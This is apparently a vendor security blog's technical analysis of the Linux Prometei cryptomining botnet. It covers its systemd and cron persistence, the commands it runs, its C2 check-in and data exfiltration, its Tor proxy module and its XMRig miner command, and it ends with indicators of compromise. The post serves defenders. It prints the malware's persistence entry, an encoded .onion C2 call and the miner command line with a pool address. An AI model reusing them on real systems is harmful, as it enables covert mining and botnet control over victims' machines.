IoT Malware Journals: Prometei (Linux)

The IoT Malware Journals series will cover the IoT threat landscape from a technical perspective. For this first article in the series, I will analyze the Linux version of the Prometei malware, which first made headlines in December 2020.

We often find IoT malware that is simply built on the leaked source code of Mirai or Gafgyt. It’s not so typical to find new variants that are unique: either wholly written from scratch or ported from other platforms, such as Windows.

Originally, Prometei had been a modular Windows botnet that mined the Monero cryptocurrency. In early December, it was discovered targeting Linux environments for the first time. It’s possible that the original developer(s) were unhappy with the spread of their malware and wanted to take advantage of other platforms. Another theory is that this new Linux variant is the work of a completely different group.

Prometei’s C2 IP and URLs are blocked by the Safe Browsing/IP Reputation feature of CUJO AI Sentry. Learn more by reading the Sentry white paper.

intezer prometei botnet

IntezerLabs announcing the discovery of Prometei on Linux


File analysis of the Linux Prometei version

Prometei binaries are all stripped of symbols and debug information, making reverse-engineering a bit harder. No packing was applied to the binaries.

Magic information:

ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/, for GNU/Linux 2.6.8, stripped


ELF Executable and Linkable format (Linux) (4029/14) 49.77%
ELF Executable and Linkable format (generic) (4004/1) 49.46%

Entropy measures the randomness of a given data set and is used to detect signs of packing, encryption or any sort of compression. ~5.7 is a good indicator that what we have here is a native executable without any packing, but we can also check the plain-text strings to be sure.



Prometei execution flow

First, Prometei tries to find out if it can install itself on the system and checks whether a copy of Prometei has been installed on the system previously by looking for Prometei-specific artifacts.

strace prometei

strace output of the malicious binary

If the logged in user does not have sufficient rights (root), Prometei installs itself in “Usermode” and leaves a crashed.dump file in /home/user, which is the malicious binary itself. It also places a custom, machine-specific identification ID under the filename CommId into the /home/user folder.

usermode prometei

Prometei Usermode install

If the user has root privileges, the malicious code will install itself system-wide (“Systemmode”):

systemmode prometei

Prometei Systemmode install

Then the malware creates a random bot identifier file in /etc/CommId, which has a 16 byte string inside, made up of numbers and capital English letters: /etc/CommId.

Example IDs:


It uses this identifier during the C2 check-in phase. The Prometei bot identifier is passed along in a GET request via the &i= parameter inside the URL. The purpose of this identifier is to keep track of every unique installation on the botnet:


The program continues by setting up persistence. It places a service file under /lib/systemd/system/uplugplay.service with the following content:

prometei persistence

Service for persistence

Then, a symlink will be created from /etc/systemd/system/ to /lib/systemd/system/uplugplay.service. This ensures the binary will be executed upon a restart.

Execution will continue by setting up a scheduled cron job. It is placed into /tmp/task.cron with a reboot command: @reboot means run the following command once after the system reboots.

@reboot /usr/sbin/uplugplay -cron.

Then task.cron gets installed via crontab:

# DO NOT EDIT THIS FILE - edit the master and reinstall...# (task.cron installed on Wed Jan 13 15:37:40 2021).# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)[email protected] /usr/sbin/uplugplay -cron.

As a final step, the malware masquerades itself by copying the binary into the following folder: /usr/sbin/uplugplay and deleting itself from the original execution location.


Dynamic process tracing:

When tracing the execution of Prometei, it executes the following commands:

PersistenceInfection markersGathering information
Systemctl daemon-reloadPgrep promet15Cat /proc/cpuinfo
Systemctl enable uplugplay.servicePgrep uplugplayDmidecode –type baseboard
Systemctl start uplugplay.servicePidof uplugplayCat /etc/os-release
Crontab -lPgrep upnpsetupCat /etc/redhat-release
Crontab task.cronPidof upnpsetupuptime


The commands in the first column are used to set up persistence. Then Prometei checks whether it has already been installed on the system via the pidof and pgrep commands. Moreover, the commands in the third column are responsible for gathering information from the victim host.


Prometei botnet network traffic analysis

Let us quickly investigate the C2 communication. Every Prometei bot installation gets tracked by a simple check-in activity, which holds a custom, random identifier. Note the old HTTP/1.0 protocol version used.

Traffic can be easily intercepted via a local python webserver:

python webserver prometei

Intercepting Prometei botnet traffic via python webserver

c2 prometei botnet

C2 check-in activity

URI parameters:

  • ?r – randomized with each request, integer between 0 and 30, seems to serve no purpose currently
  • &i – unique victim identifier, 16-byte string

Once the check-in completes, the controller immediately sends the sysinfo command for execution, and the collected system information gets sent right back to the botnet controller:

sysinfo c2 prometei botnet

Exfiltrating sysinfo output

URI parameters:

  • ?add – base64 encoded information that is collected from the system
  • &i – unique victim identifier
  • &h – hostname
  • &enckey – base64 encoded encryption key

The base64 encoded section (?add parameter) translates to:

info {
1x Intel(R) Xeon(R) Silver 4210 CPU @ 2.20GHz
Intel Corporation
440BX Desktop Reference Platform
Ubuntu & 16.04.4 LTS (Xenial Xerus) 
14:31:30 up 6 min, 1 user, load average: 0.89, 0.47, 0.22
Linux ubuntu-analyzer 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Sandbox dynamic run output from Joe Security LLC. Report at



Next, the malware enters a dormant state: listening for instructions from its C2 server. The following list of commands was available in the examined binary:

chkportthe msdtc module initiates a port scan on the victim host
debugdebug the victim host for any issues
execexecutes a binary on the system from a path
extipfetches the external IP address of the victim
quitexits the listener process
quit2exits the listener function but leaves the process on
set_ccsets a new C2 IP address
start_miningstarts the Monero cryptocurrency miner
stop_miningstops the Monero cryptocurrency miner
sysinfogathers information from the victim machine for exfiltration
touchcreates a file on the victim system
updatev4fetches the latest version of the malware
wgetdownloads a file from a URL
xwgetdownloads a file from a URL with a 1-byte XOR operation


Prometei traffic routing through proxies and TOR

Prometei has an additional module in which traffic can be routed through TOR or I2P, rather than the conventional HTTP route. These modules go under the name:

  • msdtc – Proxy client
  • smcard – TOR relay
msdtc proxy prometei botnet

Status messages of the msdtc proxy client

msdtc tor proxy prometei botnet

msdtc showing status information of the TOR service

When Prometei first pulls down these modules, it downloads them via the dwn.php resource:


The malware runs the following commands to check whether the TOR or proxy modules are already running:

pgrep smcard
pidof smcard

The proxy request gets executed in an interesting way: the .onion address is base64 encoded and is called as a parameter to the msdtc module:

/usr/sbin/msdtc aHR0cHM6Ly9nYjduaTVyZ2VleGRjbmNqLm9uaW9uL2NnaS1iaW4vcHJvbWV0ZWkuY2dpP3I9MyZpPU1VMkcxTkNNMEhERjNMMk4K

Which translates to:

/usr/sbin/msdtc https://gb7ni5rgeexdcncj[.]onion/cgi-bin/prometei.cgi?r=3&i= MU2G1NCM0HDF3L2N


How Prometei mines cryptocurrency

Prometei can also deploy a cryptocurrency miner in the form of the application XMRig. The process is usually named updatecheckerd.

start_mining xmrig updatecheckerd prometei botnet

Starting and stopping the mining operation

When the start_mining command is received from the C2 server, it will connect to the following miner server:

/usr/sbin/updatecheckerd -o stratum+tcp://5.189.171[.]187:3333 -u 4A1txQ9L8h8NqF4EtGsZDP5vRN3yTVKynbkyP1jvCiDajNLPepPbBdrbaqBu8fCTcFEFdCtgbekSsTf17B1MhyE2AKCEyfR -p x --donate-level 1



Prometei is another example of how a malicious binary grows on a Linux environment and spreads through the system with persistence. Some feature of the Windows version of Prometei were not implemented in Linux, meaning that this is most likely an early development version of the malware, and we may see advancements in its capabilities as time goes on.

This is most likely an early development version of the malware, and we may see advancements in its capabilities as time goes on.

It is also unclear whether the same group that developed the malware for Windows is behind the Linux version, and whether the developers are also the ones that distribute this piece of malware. Lately, developer groups have adopted the MaaS (Malware-as-a-service) business model, where they offer malware to be used by others.

We may learn more about these aspects of Prometei with future versions of the malware.

Special thanks to Talos Intelligence for their previous research on the Windows version of Prometei.



The C2 IP and URLs are blocked by Safe Browsing/IP Reputation feature of CUJO AI Sentry.


Indicators of Compromise:

Binary hashes:

SHA256ITW name

















5.189.171[.]187 | DE
88.198.246[.]242 | DE
178.21.164[.]68 | IR


ITW names:






Config parameters: